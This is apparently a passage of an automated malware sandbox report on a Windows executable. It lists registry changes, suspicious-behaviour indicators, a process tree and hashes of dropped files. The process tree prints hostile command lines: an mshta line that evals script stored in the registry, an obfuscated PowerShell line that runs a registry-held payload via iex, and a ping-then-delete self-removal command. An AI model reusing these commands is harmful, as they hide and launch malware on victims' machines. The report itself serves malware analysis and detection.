Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e0000190-598f-41a6 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000009b4bf2a5a6f7d9019b4bf2a5a6f7d9019b4bf2a5a6f7d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000045577a812000383065303637333833353435373866666434333536663733353961616436386135663366336431633836313833653165376430633835313564386562333130350000b20009000400efbe45577a8145577a812e000000000000000000000000000000000000000000000000006588e600380030006500300036003700330038003300350034003500370038006600660064003400330035003600660037003300350039006100610064003600380061003500660033006600330064003100630038003600310038003300650031006500370064003000630038003500310035006400380065006200330031003000350000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000765ab5271000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c38306530363733383335343537386666643433353666373335396161643638613566336633643163383631383365316537643063383531356438656233313035000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000073787579706e657400000000000000007494afe11b8f054b9c6e541b4cdbc2a986634b959353ee1186887ed7ef0502147494afe11b8f054b9c6e541b4cdbc2a986634b959353ee1186887ed7ef050214d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003900320036003300380037003000370034002d0033003400300030003600310033003100370036002d0033003500360036003700390036003700300039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cda81468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dbf03fd0-5b8a-4eda = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c47bdaa-0c1d-442b = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7e13090-4178-4c99 = 3f7f2fa7a6f7d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7e13090-4178-4c99 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d5bb9335-2182-4a19 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dfd2a966-e2f4-4099 = 593a10a7a6f7d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a05d01d4-6f2e-4b70 = "\\\\?\\Volume{6814A8CD-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\75d7621d2edd43e4a019f40a3719f5341db2e7c3e79ee108d271d115824a46e6" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f5aee01d-e8b8-403d RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f5aee01d-e8b8-403d RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b2b169e-2365-4339 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e0000190-598f-41a6 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dbf03fd0-5b8a-4eda = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ee6005a6a6f7d901ee6005a6a6f7d901ee6005a6a6f7d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000045577a812000653430336335313139613161313964613634383137313864373430386235356237326664323237613935316638313761396435636366336532613931653163310000b20009000400efbe45577a8145577a812e000000000000000000000000000000000000000000000000001273d300650034003000330063003500310031003900610031006100310039006400610036003400380031003700310038006400370034003000380062003500350062003700320066006400320032003700610039003500310066003800310037006100390064003500630063006600330065003200610039003100650031006300310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000765ab5271000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65343033633531313961316131396461363438313731386437343038623535623732666432323761393531663831376139643563636633653261393165316331000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000073787579706e657400000000000000007494afe11b8f054b9c6e541b4cdbc2a987634b959353ee1186887ed7ef0502147494afe11b8f054b9c6e541b4cdbc2a987634b959353ee1186887ed7ef050214d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003900320036003300380037003000370034002d0033003400300030003600310033003100370036002d0033003500360036003700390036003700300039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cda81468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f5aee01d-e8b8-403d = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dbf03fd0-5b8a-4eda = "\\\\?\\Volume{6814A8CD-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\e403c5119a1a19da6481718d7408b55b72fd227a951f817a9d5ccf3e2a91e1c1" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\71db3c38-7c79-4179 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84f5381c-f7c4-46b1 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dbf03fd0-5b8a-4eda RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e0000190-598f-41a6 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f5aee01d-e8b8-403d RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f5aee01d-e8b8-403d = d78f1ca6a6f7d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c47bdaa-0c1d-442b = "\\\\?\\Volume{6814A8CD-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\5f69dc1a78da3cced25a051fc378e20fdb0b1a91621f380e5d06ba9776026b96" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7e13090-4178-4c99 = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b0e8538-9d8a-4513 RuntimeBroker.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
PING.EXEpid process 440 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exepowershell.exeExplorer.EXEpid process 4060 7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe 4060 7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe 532 powershell.exe 532 powershell.exe 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3176 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exepid process 532 powershell.exe 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 1800 cmd.exe 3176 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 8 IoCs
Processes:
powershell.exeExplorer.EXERuntimeBroker.exedescription pid process Token: SeDebugPrivilege 532 powershell.exe Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3752 RuntimeBroker.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Explorer.EXEpid process 3176 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3176 Explorer.EXE -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
mshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exedescription pid process target process PID 1804 wrote to memory of 532 1804 mshta.exe powershell.exe PID 1804 wrote to memory of 532 1804 mshta.exe powershell.exe PID 532 wrote to memory of 4528 532 powershell.exe csc.exe PID 532 wrote to memory of 4528 532 powershell.exe csc.exe PID 4528 wrote to memory of 3320 4528 csc.exe cvtres.exe PID 4528 wrote to memory of 3320 4528 csc.exe cvtres.exe PID 532 wrote to memory of 1048 532 powershell.exe csc.exe PID 532 wrote to memory of 1048 532 powershell.exe csc.exe PID 1048 wrote to memory of 4336 1048 csc.exe cvtres.exe PID 1048 wrote to memory of 4336 1048 csc.exe cvtres.exe PID 532 wrote to memory of 3176 532 powershell.exe Explorer.EXE PID 532 wrote to memory of 3176 532 powershell.exe Explorer.EXE PID 532 wrote to memory of 3176 532 powershell.exe Explorer.EXE PID 532 wrote to memory of 3176 532 powershell.exe Explorer.EXE PID 3176 wrote to memory of 3752 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3752 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3752 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 1800 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 1800 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 1800 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 3752 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3952 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3952 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3952 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3952 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4792 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4792 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 1800 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 1800 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 4792 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4792 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3148 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3148 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3148 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3148 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3840 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 3840 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 3840 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 3840 3176 Explorer.EXE cmd.exe PID 1800 wrote to memory of 440 1800 cmd.exe PING.EXE PID 1800 wrote to memory of 440 1800 cmd.exe PING.EXE PID 1800 wrote to memory of 440 1800 cmd.exe PING.EXE PID 1800 wrote to memory of 440 1800 cmd.exe PING.EXE PID 1800 wrote to memory of 440 1800 cmd.exe PING.EXE PID 3176 wrote to memory of 3840 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 3840 3176 Explorer.EXE cmd.exe
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe"C:\Users\Admin\AppData\Local\Temp\7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ljll='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ljll).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\79A35AC8-8476-1390-56BD-F8F7EA41AC1B\\\CharControl'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name dkkcle -value gp; new-alias -name vxopmgiwy -value iex; vxopmgiwy ([System.Text.Encoding]::ASCII.GetString((dkkcle "HKCU:Software\AppDataLow\Software\Microsoft\79A35AC8-8476-1390-56BD-F8F7EA41AC1B").TimeAbout))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iwzmq0ox\iwzmq0ox.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBA91.tmp" "c:\Users\Admin\AppData\Local\Temp\iwzmq0ox\CSC4BB6E54E94594BB59060E63DFA3939FD.TMP"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wdcktwgy\wdcktwgy.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBBE8.tmp" "c:\Users\Admin\AppData\Local\Temp\wdcktwgy\CSC9A1AF47670A34C5ABEB2653313BDF4DC.TMP"5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RESBA91.tmpFilesize
1KB
MD56de52d38e2e7205e0fce31567151551c
SHA1d524a93438f1f3e1382c3512fca2611bc90624a3
SHA2561a8087f1beca46db78496dfedb6b9698b22881d93bb090c9c829225f51359d71
SHA5122b43c0a955313fc36ae3b7cf627213c796ed0faa1dfe3fa860f1861e021e8ff83d54f0e8e26a469d99ef2ed70ab8df4f78120983793c793d50f2e0ef4cc777fc
-
C:\Users\Admin\AppData\Local\Temp\RESBBE8.tmpFilesize
1KB
MD58685035ea4b0eae7724563d652e818aa
SHA1f34d1c9a89a8de63572f5ccdca10560f777b6277
SHA256616b8e528a2f017e9ac1ebdbd68bc26f145b7ea97ac3184179d3f5bc180b06cf
SHA512e2a941c85a5a00f980ce89e4999e9882c519fde68fc219ef30b23ca3131a4fdf7453ce1a2a18fae129369f0943b1b59ca1520968db894997904c8ce8755d57e2
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o0dmjqkn.ggy.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\iwzmq0ox\iwzmq0ox.dllFilesize
3KB
MD5f578000dd6c6379a755d508658de8334
SHA13303d6674676f96dd47c949e8a741647d9cac88d
SHA256b3d2dff22d3a95679c6085b33efe38f98c5d00df9918a3adcf0ca64c53a55dc6
SHA512beedbbbd61601b09def37d001edc3e3a645080c417549b03bfce1d84add811f92968315852a9b205f8ea6288ca159bebd4e3c3d282d576d3a61fd5f5fc0d9792
-
C:\Users\Admin\AppData\Local\Temp\wdcktwgy\wdcktwgy.dllFilesize
3KB
MD5eb98c761b4b3d83d18e41f458025ad99
SHA1887561c4b5d7636c12f5f878741191aff10ff8a1
SHA256d4a26bbf431c638e622dab0a60905afe10d487aeed6d73ad02c81b44fe2d7e44
SHA51252559354070969f00cac2ecb155536addabd0df3462b0cd78c08537a98f63e5c545649bf290c087ee356132e3a4cb19b4738f8bcb4f363ac6044f84aa2cf6720
-
\??\c:\Users\Admin\AppData\Local\Temp\iwzmq0ox\CSC4BB6E54E94594BB59060E63DFA3939FD.TMPFilesize
652B
MD5b4a8c655192f9eb72177526043072564
SHA18660bff88ba4e8c23cf1eb2720e511f1f25f6588
SHA2568fdf42aca418ff487b3730dac68a0b134aa4a9951124d292fe371db6ad70fa4c
SHA5124cb92ff04ff89dabd4e0a1e7af26836604280316b660beefaefc5a54684f86e6680b24344b8e322b85dd34ea3ba17841164f58ac12f69c2f0b2f0275106e106e
-
\??\c:\Users\Admin\AppData\Local\Temp\iwzmq0ox\iwzmq0ox.0.csFilesize
405B
MD5caed0b2e2cebaecd1db50994e0c15272
SHA15dfac9382598e0ad2e700de4f833de155c9c65fa
SHA25621210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150
SHA51286dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62
-
\??\c:\Users\Admin\AppData\Local\Temp\iwzmq0ox\iwzmq0ox.cmdlineFilesize
369B
MD579671ea88f7fe9fa7f4c937036ce1fbe
SHA127be6edb0f06b6217d8e1cf7844c32cdeb02f3d5
